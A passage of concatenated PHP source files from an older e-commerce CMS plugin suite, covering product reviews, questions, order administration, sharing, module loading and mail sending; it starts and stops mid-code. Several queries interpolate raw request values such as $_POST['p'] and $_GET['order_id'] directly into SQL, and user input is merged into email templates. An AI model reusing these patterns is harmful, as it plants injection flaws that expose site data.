- 1 ) * $count )) . " , " . $count ); if (is_Array($products)) { foreach ($products as $key => $val) { $products[$key]["prixsearch"] = number_format($val["prixsearch"] , 0 , "," , "."); } } $records = array( "records" => $products , "count" => $products_count , "pages" => $products_count ? ceil($products_count / $count) : 1, "page" => $page, "ipp" => $count, ); return $records; } function AjaxPostReview() { $product = $this->db->QFEtchArray("SELECT * FROM {$this->tables['plugin:shop_items']} WHERE item_id=\"{$_POST['p']}\""); if (!is_array($product)) { return "Unknown error !"; } //load the module info $_GET["module_id"] = $product["module_id"]; $this->tpl_module = $this->module->plugins["modules"]->LoadModuleInfo(); //check for all fields $fields = array( "name" => "set_reviews_namealert", "email" => "set_reviews_emailalert" , "message" => "set_reviews_messagealert", ); foreach ($fields as $key => $val) { if (!$_POST[$key]) { return $this->module->plugins["common"]->ErrorMsg( $this->tpl_module["settings"][$val] ); } } $review = array( "module_id" => $product["module_id"], "item_date" => time(), "item_parent" => $product["item_id"], "item_name" => $_POST["name"], "item_email" => $_POST["email"], "item_text" => $_POST["message"], "item_status" => "1", ); $this->db->QueryInsert( $this->tables["plugin:shop_reviews"], $review ); //send the email for admin $email = $this->module->plugins["mail"]->SendMail( $this->module->plugins["mail"]->GetMail( $this->tpl_module["settings"]["set_mail_review_admin"], array_merge( $product , $_POST ) ) ); //send the email for user $email = $this->module->plugins["mail"]->SendMail( $this->module->plugins["mail"]->GetMail( $this->tpl_module["settings"]["set_mail_review_client"], array_merge( $product , $_POST ) ) ); return $this->module->plugins["common"]->SuccessMsg( $this->tpl_module["settings"]["set_reviews_success"] ); } /** * description * * @param * * @return * * @access */ function AjaxPostQuestion() { $product = $this->db->QFEtchArray("SELECT * FROM {$this->tables['plugin:shop_items']} WHERE item_id=\"{$_POST['p']}\""); if (!is_array($product)) { return "Unknown error !"; } //load the module info $_GET["module_id"] = $product["module_id"]; $this->tpl_module = $this->module->plugins["modules"]->LoadModuleInfo(); //check for all fields $fields = array( "name" => "set_ask_namealert", "phone" => "set_ask_phonealert", "email" => "set_ask_emailalert" , "subject" => "set_ask_subjectalert", "message" => "set_ask_messagealert", ); foreach ($fields as $key => $val) { if (!$_POST[$key]) { return $this->module->plugins["common"]->ErrorMsg( $this->tpl_module["settings"][$val] ); } } $question = array( "module_id" => $product["module_id"], "item_date" => time(), "item_parent" => $product["item_id"], "item_name" => $_POST["name"], "item_email" => $_POST["email"], "item_phone" => $_POST["phone"], "item_subject" => $_POST["subject"], "item_question" => $_POST["message"], "item_status" => "1", ); $this->db->QueryInsert( $this->tables["plugin:shop_questions"], $question ); //send the email for admin $email = $this->module->plugins["mail"]->SendMail( $this->module->plugins["mail"]->GetMail( $this->tpl_module["settings"]["set_mail_ask_admin"], array_merge( $product , $_POST ) ) ); //send the email for user $email = $this->module->plugins["mail"]->SendMail( $this->module->plugins["mail"]->GetMail( $this->tpl_module["settings"]["set_mail_ask_client"], array_merge( $product , $_POST ) ) ); return $this->module->plugins["common"]->SuccessMsg( $this->tpl_module["settings"]["set_ask_success"] ); } /** * description * * @param * * @return * * @access */ function Product() { $product = $this->GetProduct($_GET["product_id"]); if (!is_array($product)) { $this->module->plugins["common"]->Redirect404(); } $product = $this->ProcessProduct($product); return $this->private->templates["details"]->blockReplace( "Main", $product ); } /** * description * * @param * * @return * * @access */ function ProcessProduct($product , $raw = false) { global $base , $_CONF; $this->__init(); $product["price"] = $this->FormatPrice($product["item_price"]); //process small images if (is_Array($product["gallery"])) { $product["gallery"] = $base->html->table( $this->private->templates["details"], "Images" , $product["gallery"] ); } else $product["gallery"] = ""; //process image $product["image"] = $this->private->templates["details"]->blockReplace( $product["item_image"] ? "Image" : "NoImage", $product ); //process variations if (is_array($product["variations"])) { foreach ($product["variations"] as $key => $val) { $tmp = explode("\n" , $val["item_options"]); if (count($tmp)) { foreach ($tmp as $k => $v) { if (trim($v)) { $tmp2 = explode(":" , trim($v)); $val["options"][$tmp2[0]] = array( "name" => $tmp2[0] . ($tmp2[1] ? "( " . ($tmp2[1] > 0 ? "+" : "-" ) .$this->formatPrice($tmp2[1]) . ")" : "") , "value" => $tmp2[0], "price" => $tmp2[1] ); } } } if (!$raw) $product["variations"][$key]["options"] = $base->html->Table( $this->private->templates["details"], "Options", $val["options"] ); else $product["variations"][$key]["options"] = $val["options"]; } if (!$raw) $product["variations"] = $base->html->table( $this->private->templates["details"], "Variations", $product["variations"] ); } else { } //check for comments $product["comments"] = $this->module->plugins["comments"]->Comments( $this->tpl_module["mod_url"] . "/" . $product["cat_url"] . "/" . $product["item_url"] . "-" . $product["item_id"] . "/", $this->tpl_module["settings"]["set_fbcomments"] ); //process the specs if ($product["item_specs"]) { $lines = explode("\n" , $product["item_specs"]); foreach ($lines as $key => $val) { $line = explode("|" , $val); foreach ($line as $k => $v) { $_lines[$key][$k] = $this->private->templates["specifications"]->blockReplace("SpecificationsLine" , array("value" => trim($v))); } $_lines[$key] = $this->private->templates["specifications"]->blockreplace( "SpecificationsRow", array( "data" => @implode("" , $_lines[$key]) ) ); } $header = $_lines[0]; unset($_lines[0]); $product["specifications"] = $this->private->templates["specifications"]->blockREplace( "Specifications", array( "header" => $header, "content" => @implode("" , $_lines) ) ); $product["specifications_button"] = $this->private->templates["specifications"]->blockREplace( "SpecificationsButton", $this->tpl_module["settings"] ); } else { $product["specifications"] = ""; $product["specifications_button"] = ""; } //check for users reviews if ($this->tpl_module["settings"]["set_reviews"]) { $product["reviews_button"] = $this->private->templates["reviews"]->blockREplace( "Button", array_merge( $this->tpl_module["settings"], $product ) ); $reviews = $this->AjaxReviews($product["item_id"] , 1); $product["reviews"] = $this->private->templates["reviews"]->blockReplace( "Reviews" , array( "more" => $reviews ? $this->private->templates["reviews"]->blockREplace( "LoadMore", $product ) : "", "new" => $this->private->templates["reviews"]->blockReplace( "NewReview", $product ), "data" => $reviews ) ); } else { $product["reviews_button"] = ""; $product["reviews"] = ""; } //check for ask a question if ($this->tpl_module["settings"]["set_askquestion"]) { $product["ask_button"] = $this->private->templates["ask"]->blockREplace( "Button", array_merge( $this->tpl_module["settings"], $product ) ); $product["ask_widget"] = $this->private->templates["ask"]->blockREplace( "Main", array_merge( $this->tpl_module["settings"], $product ) ); } else { $product["ask_button"] = ""; $product["ask_widget"] = ""; } //process some links $product["link:checkout"] = $this->module->plugins["modules"]->PrepareLink("cart/"); //process the back link if ($_GET["category"]) { $product["link:back"] = $this->module->plugins["modules"]->PrepareLink( $this->tpl_module["mod_url"] . "/" . $product["cat_url"] . "/" ); } else { $product["link:back"] = $this->module->plugins["modules"]->PrepareLink( $this->tpl_module["mod_url"] . "/" ); } //parepare the next and back buttons ( not used in this version ) $product["next"] = ""; $product["back"] = ""; if ($this->tpl_module["settings"]["set_disable_add"]) { $product["add"] = ""; } else { $product["add"] = $this->private->templates["details"]->blockReplace( "AddToCart", $product ); } return $product; } /** * description * * @param * * @return * * @access */ function AjaxReviews($pid , $page) { global $base; $count = 2; $product = $this->db->QFetchArray("SELECT * FROM {$this->tables['plugin:shop_items']} WHERE item_id={$pid}"); if (!is_array($product)) { return ""; } if (!$this->tpl_module["settings"]) { $_GET["module_id"] = $product["module_id"]; $this->tpl_module = $this->module->plugins["modules"]->LoadModuleInfo(); } if (!$page) $page = 1; else $page = (int)$page; $reviews = $this->db->QFetchRowArray( "SELECT * " . "FROM {$this->tables['plugin:shop_reviews']} " . "WHERE item_parent={$product[item_id]} AND item_status=2 " . " ORDER BY item_date DESC " . "LIMIT " . ( max(0,($page - 1 ) * $count )) . " , " . $count ); if (is_array($reviews)) { foreach ($reviews as $key => $val) { $reviews[$key]["date"] = date($this->tpl_module["settings"]["set_date_format_comments"] , $val["item_date"]); } return CTemplateStatic::Replace( $base->html->Table( $this->private->templates["reviews"], "", $reviews ), $this->tpl_module["settings"] ); } } /** * description * * @param * * @return * * @access */ function GetProduct($id , $small = false) { if ($this->tpl_module["mod_id"]) $cond = "AND p.module_id={$this->tpl_module[mod_id]}"; else $cont = ""; $item = $this->db->QFetchArray( "SELECT * FROM {$this->tables['plugin:shop_items']} as p , {$this->tables['plugin:shop_cats']} " . "WHERE item_cat=cat_id {$cond} AND item_id=\"{$id}\"" ); if (!is_array($item)) { return ""; } if ($small) { return $item; } $item["gallery"] = $this->db->QFetchRowArray( "SELECT * FROM {$this->tables['plugin:shop_images']} WHERE item_parent={$item[item_id]} ORDER BY item_order" ); if (is_array($item["gallery"])) { foreach ($item["gallery"] as $key => $val) { switch ($val["item_type"]) { case "1": $item["gallery"][$key]["source"] = "upload/shop/gallery/{$val[item_id]}.jpg"; break; case "2": $item["gallery"][$key]["source"] = "upload/shop/gallery/{$val[item_id]}.mp4"; break; case "4": $item["gallery"][$key]["source"] = $val["item_youtube"]; break; } } } $item["variations"] = $this->db->QFetchRowArray( "SELECT * FROM {$this->tables['plugin:shop_variations']} WHERE item_parent={$item[item_id]} ORDER BY item_order" ); //replace variations keys if (is_array($item["variations"] )) { foreach ($item["variations"] as $key => $val) { $_vars[$val["item_name"]] = $val; } $item["variations"] = $_vars; } return $item; } function AlternateContent() { } function GetAllLinks($module , $links) { } /** * description * * @param * * @return * * @access */ function ReplaceTexts($content) { return CTemplateStatic::Replace( $content , $this->tpl_module["settings"] ); } function Texts($content) { return CTemplateStatic::Replace( $content , $this->tpl_module["settings"] ); } } ?>``` admin.shop.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus.ro mail: support@oxylus.ro $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss oxylus Exp $ description */ // dependencies /** * description * * @library * @author * @since */ class COXYMallShop extends CPlugin{ var $tplvars; function COXYMallShop() { //$this->CPlugin($db, $tables , $templates); } function DoEvents(){ global $base, $_CONF, $_TSM , $_VARS , $_USER , $_BASE , $_SESS; parent::DoEvents(); if (strstr($_GET["sub"] , "oxymall.plugin.shop.")) { $sub = str_replace("oxymall.plugin.shop." , "" ,$_GET["sub"]); $action = $_GET["action"]; if ($_GET["module_id"]) { //read the module $this->tpl_module = $this->module->plugins["modules"]->getModuleInfo($_GET["module_id"]); } switch ($sub) { case "landing": case "orders": if ($_GET["action"] == "edit") { $data = new CSQLAdmin("shop/cart", $this->__parent_templates,$this->db,$this->tables,$extra); $extra["edit"]["after"] = $data->DoEvents(); } //delete ther cart content if i delete a certain order if (($_GET["action"] == "delete") && $_GET["order_id"]) { $this->db->QUery("DELETE FROM {$this->tables['plugin:shop_cart']} WHERE item_order={$_GET[order_id]}"); } $data = new CSQLAdmin("shop/orders", $this->__parent_templates,$this->db,$this->tables,$extra); $data->functions = array( "onstore" => array(&$this , "MailOrder"), ); return $data->DoEvents(); break; case "global": $data = new CFormSettings($this->forms_path . $sub . ".xml" ,$_CONF["forms"]["admintemplate"] , $this->db,$this->tables); if ($data->Done()) { $this->vars->SetAll($_POST); $this->vars->Save(); urlRedirect("index.php?mod=oxymall&sub=oxymall.plugin.shop.global&action=details"); } return $data->Show($this->vars->data); break; case "accounts": $data = new CSQLAdmin("shop/" . $sub, $this->__parent_templates,$this->db,$this->tables,$extra); return $data->DoEvents(); break; case "shipp_methods": case "shipp_countries": $data = new CSQLAdmin("shop/" . $sub, $this->__parent_templates,$this->db,$this->tables,$extra); return $data->DoEvents(); break; } } } function BuildOrderEmail($code , $admin = false) { global $base , $_CONF; $status = array( "1" => "pending", "2" => "completed", "3" => "refunded", ); $template = new CTemplateDynamic($this->tpl_path . "mail-order.htm"); $order = $this->db->QFetchArray("SELECT * FROM {$this->tables['plugin:shop_orders']} WHERE order_code=\"{$code}\""); if (!is_array($order)) { return ""; } //read the cart content $cart = $this->db->QFetchRowArray("SELECT * FROM {$this->tables['plugin:shop_cart']} WHERE item_order={$order[order_id]}"); if (is_array($cart)) { foreach ($cart as $key => $val) { $cart[$key]["cnt"] = ++$cnt; $product = $this->db->QFetchArray("SELECT * FROM {$this->tables['plugin:shop_items']} WHERE item_sku='{$val[item_product_sku]}'"); $files = $this->db->QFetchRowArray("SELECT * FROM {$this->tables['plugin:shop_files']} WHERE item_parent='{$product[item_id]}'"); if (is_array($files)) { $cart[$key]["download"] = $base->html->table( $template , "Download", $files ); } else $cart[$key]["download"] = $template->blockReplace("NoDownload" , array()); } //process the data $order["order_date"] = date("d M Y g:i:a" , $order["order_date"]); $order["status"] = $status[$order["order_status"]]; $price_fields = array( "order_price_subtotal" , "order_price_shipping" , "order_price_tax" , "order_price_discount" , "order_price_total" ); foreach ($price_fields as $key => $val) { $order[$val] = number_format($order[$val] , 2); } if ((($order["order_status"] == "2")||($order["order_status"] == "7")) && !$admin) { $cart_template = "Cart"; } else { $cart_template = "CartNF"; } return $template->blockReplace( "Main", array( "client" => $template->blockReplace( "Client", $order ), "cart" => CTemplateStatic::Replace( $base->html->Table( $template, $cart_template, $cart ), $order ) ) ); } } function MailOrder($record) { if ($record["order_id"] && $record["send_mail"]) { if ($record["order_status"] > 1) { $order = $this->db->QFetchArray("SELECT * FROM {$this->tables['plugin:shop_orders']} WHERE order_id={$record[order_id]}"); $email = $this->module->plugins["mail"]->SendMail( $this->module->plugins["mail"]->GetMail( $this->vars->data["set_shop_mail_admin_" . $record["order_status"]], array_merge( array( "order_data" => $this->BuildOrderEmail($order["order_code"] , false) ), $order ) ) ); } } } } ?>``` admin.sharing.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus.ro mail: support@oxylus.ro $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss oxylus Exp $ description */ // dependencies /** * description * * @library * @author * @since */ class COXYMallSharing extends CPlugin{ var $tplvars; function COXYMallSharing() { //$this->CPlugin($db, $tables , $templates); } function DoEvents(){ global $base, $_CONF, $_TSM , $_VARS , $_USER , $_BASE , $_SESS; parent::DoEvents(); if (strstr($_GET["sub"] , "oxymall.plugin.sharing.")) { $sub = str_replace("oxymall.plugin.sharing." , "" ,$_GET["sub"]); $action = $_GET["action"]; $this->tpl_module = $this->module->plugins["modules"]->getDefaultModuleInfo("sharing"); switch ($sub) { case "landing": $data = new CSQLAdmin("sharing/" . $sub, $this->__parent_templates,$this->db,$this->tables,$extra); $this->PrepareFields(&$data->forms["forms"] , $sub); return $data->DoEvents(); break; } } } /** * description * * @param * * @return * * @access */ function PrepareFields($forms) { } } ?>``` module.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus.ro mail: support@oxylus.ro $Id: module.php,v 0.0.1 18/11/2005 13:11:00 author Exp $ description */ // dependencies /** * description * * @library * @author * @since */ class CModule { var $tplvars; var $templates; var $tables; var $vars; var $db; var $messages; var $admin; function CModule($name) { $this->name = $name; //here we must initialize the module } /** * description * * @param * * @return * * @access */ function __init() { //build the path to the module $this->path = _MODPATH . $this->name . "/" ; $_CONF["forms"]["adminpath"] = _MODPATH . $_MOD . "/forms/"; //read the module config if any exists if (file_exists( $this->path . "/" . "module.xml")) { $this->config = new CConfig($this->path . "module.xml"); $this->_CONF = $this->config->vars["module"]; if ($this->admin) $this->config->vars["module"]["templates"] = is_array($this->config->vars["module"]["admin"]["templates"]) ? $this->config->vars["module"]["admin"]["templates"] : $this->config->vars["module"]["templates"]; else $this->config->vars["module"]["templates"] = is_array($this->config->vars["module"]["site"]["templates"]) ? $this->config->vars["module"]["site"]["templates"] : $this->config->vars["module"]["templates"]; //load the specific files if (is_array($this->config->vars["module"]["templates"])) { if ($perm = strtolower($this->config->vars["module"]["templates"]["perm"])) { unset($this->config->vars["module"]["templates"]["perm"]); } foreach ($this->config->vars["module"]["templates"] as $key => $val) { if (($key != "path") && ($key != "perm")) { $template = isset($this->config->vars["module"]["templates"]["path"]) ? $this->config->vars["module"]["templates"]["path"] . $val : $this->path . "/templates/" . $val ; //detect if i need to load the templates dinamicaly or static if ($perm == "false") $this->private->templates[$key] = new CTemplateDynamic( $template); else $this->private->templates[$key] = new CTemplate( $template); } //$this->private->templates[$key] = new CTemplate(_MODPATH . $_MOD . "/templates/" . $val ); } } //check if i need to create a new database especialy for this module //make a connection to db if (is_array($this->config->vars["module"]["database"])) { $this->private->db = new CDatabase($this->config->vars["module"]["database"]); } if ($this->admin) $this->private->tables = is_array($this->config->vars["module"]["admin"]["tables"]) ? $this->config->vars["module"]["admin"]["tables"] : $this->config->vars["module"]["tables"]; else $this->private->tables = is_array($this->config->vars["module"]["site"]["tables"]) ? $this->config->vars["module"]["site"]["tables"] : $this->config->vars["module"]["tables"]; //load the tables if (is_array($this->config->vars["module"]["tables"])) { $this->private->tables = is_array($this->config->vars["module"]["admin"]["tables"]) ? $this->config->vars["module"]["admin"]["tables"] : $this->config->vars["module"]["tables"]; //do a check for the private vars table if available foreach ($this->private->tables as $key => $val) { if ($key == "vars") $this->private->vars = new CVars($this->db , $val); if ($key == "messages") { $this->private->messages = new CMessages($this->db , $val); } } } } //load the module xml if (file_exists( $this->path . "/" . "menu.xml") && $this->admin) { $menu = new CConfig ($this->path . "/" . "menu.xml"); if (is_array($menu->vars["menu"]["level_" . $_SESS["minibase"]["raw"]["user_level"] ] )) $menu = $menu->vars["menu"]["level_" . $_SESS["minibase"]["raw"]["user_level"] ]; else $menu = $menu->vars["menu"]; $this->private->menu = $menu; } $this->start = true; } /** * description * * @param * * @return * * @access */ function __adminMenu() { global $_SESS , $_TSM , $_USER; //do a check for the templates and blocks $__template_blocks = array( "Menu" , "MenuGroup", "LinksGroup", "LinksElement", "TitleLink", "TitleNoCollapse", "Collapse" ); $__template = "menus"; //check for the main tempalte if (!is_object($this->templates["menus"])) return false; //check for the template blocks if (is_array($__template_blocks)) { foreach ($__template_blocks as $k => $block) { if (!is_object($this->templates[$__template]->blocks[$block])) { return false; } } } //everithing is okay, proceed to themenu building if (file_exists( $this->path . "/" . "menu.xml") && $this->admin) { $menu = $this->private->menu; if (is_array($menu)) { $tmp_menu = ""; foreach ($menu as $key => $val) { $_links = ""; $_links2 = ""; if ((isset($val["level"]) && $_USER["user_level"] == $val["level"]) || (!isset($val["level"]))) { if (is_array($val["links"])) { foreach ($val["links"] as $k => $v) { $_links[] = array( "title" => is_array($v) ? $v["title"] : ucwords($k), "link" => is_array($v) ? $v["link"] : $v ); $_links2[] = array( "title" => is_array($v) ? $v["title"] : ucwords($k), "link" => is_array($v) ? $v["link"] : $v ); } } $val["title"] = $val["title"] ? $val["title"] : ucwords ($key); $val["id"] = str_replace(" ", "_" , $key); $sublinks = ""; if (is_array($_links2)) { foreach ($_links2 as $k => $_link) { if (is_array($_link["link"])) { switch ($_link["link"]["type"]) { case "var": $sublinks .= $_link["link"]["value"]; break; } } else { $sublinks .= is_object($this->templates["menus"]->blocks["LinksElement"]) ? $this->templates["menus"]->blocks["LinksElement"]->Replace($_link) : ""; } } } if ($GLOBALS["_TMP"]["module"]["alternance"]) { $GLOBALS["_TMP"]["module"]["alternance"] = 0; $alternance = "Alt"; } else { $GLOBALS["_TMP"]["module"]["alternance"] = 1; $alternance = ""; } $tmp_menu .= is_object($this->templates["menus"]->blocks["MenuGroup"]) ? $this->templates["menus"]->blocks["MenuGroup"]->Replace(array( "title_data" => $this->templates["menus"]->blocks[$val["link"] ? "TitleLink" : "Title"]->Replace($val) , "data" => $sublinks ? $this->templates["menus"]->blocks["LinksGroup"]->Replace(array("DATA" => $sublinks)) : "", "id" => $val["id"], "alternance" => $alternance, "collapse" =>is_array($_links) ? $this->templates["menus"]->blocks["Collapse"]->Replace($val) : "" )) : ""; } } $menus .= $tmp_menu; $output = $tmp_menu; } } else { //do a search for menus if (file_exists(_MODPATH . $_MOD . "/" . "menu.htm") && $this->admin) { //read the menus $tmp_menu = new CTemplate(_MODPATH . $_MOD . "/" . "menu.htm"); //check if there is made any difference between users levels if (is_object($tmp_menu->blocks["MenuLevel" . (int)$_SESS["minibase"]["raw"]["user_level"]])) $_menu .= $tmp_menu->blocks["MenuLevel" . (int)$_SESS["minibase"]["raw"]["user_level"]]->output; else //load a menu block depending the user level $_menu .= !count($tmp_menu->blocks) ? $tmp_menu->output : ""; $menus .= $_menu; $output = $_menu; } else { //here will be in future the xml menu } } $_TSM["MINIBASE.MENU." . $this->name] = $output; return $output; } /** * description replaces the final variables int he output and returns the data * * @param $data string input template to be replaced ( string ) * @param $vars array optional template variables to be merged with $this->tplvars * * @return * * @access */ function __render($data , $vars = array()) { $vars = array_merge($vars , (array)$this->tpl_vars); if (is_array($vars )) { //inizialize a new template $tmp = new CTemplate($data , "string"); return $tmp->Replace($vars); } else return $data; } /** * description loads the messages and the conf in the templates * * @access private */ function __loadvars() { if (is_object($this->private->messages)) { $this->tpl_vars = array_merge((array)$this->tplvars , $this->private->messages->LoadVars($this->name)); } //check to see if the config has anything in it if (is_array($this->_CONF["conf"])) { foreach ($this->_CONF["conf"] as $key => $val) $this->tpl_vars["MODULE::" . strtoupper($this->name) . "::CONF." . strtoupper($key)] = $val; } } /** * description * * @param * * @return * * @access */ function DoEvents(){ global $base, $_CONF, $_TSM , $_VARS , $_USER , $_BASE; $this->__loadvars(); } /** * description * * @param * * @return * * @access */ function __protect() { if ($this->name != $_GET["mod"]) { return false; } } /** * description * * @param * * @return * * @access */ function __page($title , $body ) { global $_TSM; $_TSM["CPAGE::TITLE"] = $title; if ($this->templates["page"]) { return $this->templates["page"]->Replace(array( "CPAGE::TITLE" => $title, "CPAGE::BODY" => $body )); } else return $body; } /** * description * * @param * * @return * * @access */ function __title($title) { global $_TSM; $_TSM["CPAGE::TITLE"] = $title; } } ?>``` after.default-seo.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2010 OXYLUS Development web: www.oxylus-development.com mail: support@oxylus-development.com $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss oxylus Exp $ description */ // dependencies $_MODULES["oxymall"]->plugins["modules"]->SetSEo( array ( "seo_title" => $_MODULES["oxymall"]->private->vars->data["set_meta_title"], "seo_desc" => $_MODULES["oxymall"]->private->vars->data["set_meta_desc"], "seo_keys" => $_MODULES["oxymall"]->private->vars->data["set_meta_keys"], ) ); ?> ``` site.sharing.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus.ro mail: support@oxylus.ro $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss oxylus Exp $ description */ // dependencies /** * description * * @library * @author * @since */ class COXYMallSharing extends CPlugin{ var $tplvars; function COXYMallSharing() { //$this->CPlugin($db, $tables , $templates); } function DoEvents(){ global $base, $_CONF, $_TSM , $_VARS , $_USER , $_BASE , $_SESS; parent::DoEvents(); } function __init() { global $_CONF; if ($this->__inited) { return ""; } $this->__inited = true; $path = $this->tpl_path; $templates = array( "main" => "main.htm", ); foreach ($templates as $key => $val) { $this->private->templates[$key] = new CTemplateDynamic( $path . $val ); } $this->tpl_module = $this->module->plugins["modules"]->LoadDefaultModule("sharing"); } function Main() { global $base , $_CONF; $this->__init(); if ($this->tpl_module["module_unique_enabled"]) { //load the images for this module $items = $this->db->QFetchRowArray( "SELECT * FROM {$this->tables['plugin:sharing']} " . " " . "ORDER BY item_order ASC" ); if (is_array($items)) { foreach ($items as $key => $val) { $items[$key]["target"] = $this->module->plugins["common"]->LinkTarget($val["item_target"]); } } return CTemplateStatic::REplace( CTemplateStatic::Replace( $this->private->templates["main"]->blockReplace( "Main" , array( "items" => $base->html->Table( $this->private->templates["main"], "Items", $items ), ) ), array( "status" => $this->tpl_module["module_unique_enabled"] ? "1" : "0", "url" => $_CONF["url"], "url_encoded" => urlencode($_CONF["url"]), ) ), $this->tpl_module["settings"] ); } else return ""; } /** * description * * @param * * @return * * @access */ function Button() { $this->__init(); if ($this->tpl_module["module_unique_enabled"]) { return $this->private->templates["main"]->blockReplace( "Button" , $this->tpl_module["settings"] ); } } function GetAllLinks($module , $links) { } } ?>``` site.mail.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus.ro mail: support@oxylus.ro $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss oxylus Exp $ description */ // dependencies /** * description * * @library * @author * @since */ class COXYMallMail extends CPlugin{ var $tplvars; function COXYMallMail() { //$this->CPlugin($db, $tables , $templates); } function DoEvents(){ global $base, $_CONF, $_TSM , $_VARS , $_USER , $_BASE , $_SESS , $_ADMIN; parent::DoEvents(); if ($_ADMIN) { if (strstr($_GET["sub"] , "oxymall.plugin.mail.")) { $sub = str_replace("oxymall.plugin.mail." , "" ,$_GET["sub"]); $action = $_GET["action"]; //read the module //$this->tpl_module = $this->module->plugins["modules"]->getModuleInfo($_GET["module_id"]); switch ($sub) { case "emails": case "queue": $data = new CSQLAdmin("mail/" . $sub, $this->__parent_templates,$this->db,$this->tables,$extra); //$this->PrepareFields(&$data->forms["forms"]); return $data->DoEvents(); break; case "swiftmail": $data = new CFormSettings($this->forms_path . $sub . ".xml" ,$_CONF["forms"]["admintemplate"] , $this->db,$this->tables); if ($data->Done()) { $this->vars->SetAll($_POST); $this->vars->Save(); if ($_POST["test"]) { //send the test mail $results = $this->SendMail( array( "email_to" => $_POST["test_to"], "email_from" => $_POST["test_to"], "email_subject" => $_POST["test_subject"], "email_body" => $_POST["test_body"], ) ); } } return $data->Show($this->vars->data); break; case "send-mail": return $this->Cron(); break; } } } else { if ($_GET["sub"] == "oxymall.plugin.mail.cron") { return $this->Cron(); } } } /** * description * * @param * * @return * * @access */ function GetMail($code , $vars = array()) { //try to read from cache if ($this->cache_mails[$code]) { $mail = $this->cache_mails[$code]; } else { $mail = $this->db->QFetchArray( "SELECT * FROM {$this->tables['plugin:mail_emails']} WHERE email_status=1 AND email_code='{$code}'" ); $this->cache_mails[$code] = $mail; } if (is_array($vars) && count($vars)) { $vars_to_replace = array( "email_subject", "email_from", "email_from_name", "email_to", "email_to_name", "email_body" ); foreach ($vars_to_replace as $key => $val) { $mail[$val] = CTemplateStatic::Replace( $mail[$val], $vars ); } } return $mail; } /** * description * * @param * * @return * * @access */ function AddToQueue($data) { $this->db->QueryInsert( $this->tables["plugin:mail_queue"], array( "mail_date" => time(), "mail_from_name" => $data["email_from_name"], "mail_from_email" => $data["email_from"], "mail_to_name" => $data["email_to_name"], "mail_to_email" => $data["email_to"], "mail_subject" => $data["email_subject"], "mail_body" => $data["email_body"], "mail_type" => "html", "mail_status" => "0", "mail_priority" => $data["priority"] ? $data["priority"] : "5", ) ); return true; } /** * description * * @param * * @return * * @access */ function SendMail() { global $_CONF; $params = AStripSlasshes(func_get_args()); //check to see the numbers of the arguments //debug($params); switch (func_num_args()) { case 1: $email = $params[0]; $vars = array(); break; case 2: $email = $params[0]; $vars = $params[1]; break; case 3: $to = $params[0]; $email = $params[1]; $vars = $params[2]; break; case 4: $to = $params[0]; $to_name = $params[1]; $email = $params[2]; $vars = $params[3]; break; } if (isset($email["email_status"]) && !$email["email_status"]) { return false; } //this check its for templates, in case was sent an empty or disabled email template if (!($email["email_to"] && $email["email_from"])) { return false; } global $_CONF; $vars["site:url"] = $_CONF["url"]; $msg = new CTemplate(stripslashes($email["email_body"]) , "string"); $msg = $msg->Replace($vars); $sub = new CTemplate(stripslashes($email["email_subject"]) , "string"); $sub = $sub->Replace($vars); $email["email_from"] = new CTemplate(stripslashes($email["email_from"]) , "string"); $email["email_from"] = $email["email_from"]->Replace($vars); $email["email_from_name"] = new CTemplate(stripslashes($email["email_from_name"]) , "string"); $email["email_from_name"] = $email["email_from_name"]->Replace($vars); if (!$email["email_reply"]) $email["email_reply"] = $email["email_from"]; if (!$email["email_reply_name"]) $email["email_reply_name"] = $email["email_from_name"]; //check if swift isnt configure if (!$this->vars->data["set_switft_transport"]) { $this->vars->data["set_switft_transport"] = "php-default"; } if ($this->vars->data["set_switft_transport"] == "php-default") { $headers = "MIME-Version: 1.0\r\n"; if ($email["email_type"] == "text") $headers .= "Content-type: text/plain\r\n"; else $headers .= "Content-type: text/html\r\n"; //prepare the from fields if (!$email["email_hide_from"]) { $headers .= "From: {$email[email_from_name]}<{$email[email_from]}>\r\n"; $headers .= "Reply-To: {$email[email_reply_name]}<{$email[email_reply]}>\r\n"; } $headers .= $email["headers"]; if (!$email["email_hide_to"]) { return mail($email["email_to"] , $sub, $msg,$headers); } else { } $headers .= "X-Mailer: PHP/" . phpversion(); return mail($to, $sub, $msg,$headers); } else { require_once _LIBPATH . '../3rdparty/swift-4/swift_required.php'; $recipients = array($email["email_to"] => $email["email_to_name"] ? $email["email_to_name"] : $email["email_to"]); $from = array($email["email_from"] => $email["email_from_name"] ? $email["email_from_name"] : $email["email_from"]); $body = $msg; $subject = $sub; //initialize the mail sending switch ($this->vars->data["set_switft_transport"]) { case "smtp": $transport = Swift_SmtpTransport::newInstance( $this->vars->data["set_swiftp_smtp_server"], $this->vars->data["set_swiftp_smtp_port"] ); if ($this->vars->data["set_swiftp_smtp_auth"]) { $transport->setUsername($this->vars->data["set_swiftp_smtp_auth_username"]); $transport->setPassword($this->vars->data["set_swiftp_smtp_auth_password"]); } switch ($this->vars->data["set_swiftp_smtp_enc"]) { case "ssl": $transport->setEncryption("ssl"); break; case "tls": $transport->setEncryption("tls"); break; } break; case "sendmail": $transport = Swift_SmtpTransport::newInstance( $this->vars->data["set_swiftp_sendmail"] ); break; case "php": $transport = Swift_SmtpTransport::newInstance(); break; } $message = Swift_Message::newInstance($subject); $message->setBody( $body , "text/html" ); $message->setTo($recipients); $message->setFrom($from); $mailer = Swift_Mailer::newInstance($transport); $result = $mailer->send($message); //$message->setReadReceiptTo('emanuel@oxylus.ro'); return true; } } /** * description * * @param * * @return * * @access */ function Cron() { global $_ADMIN; if ($_GET["mail_id"] && $_ADMIN) { //get the emails list $emails = $this->db->QFetchRowArray( "SELECT * FROM {$this->tables['plugin:mail_queue']} WHERE mail_id = 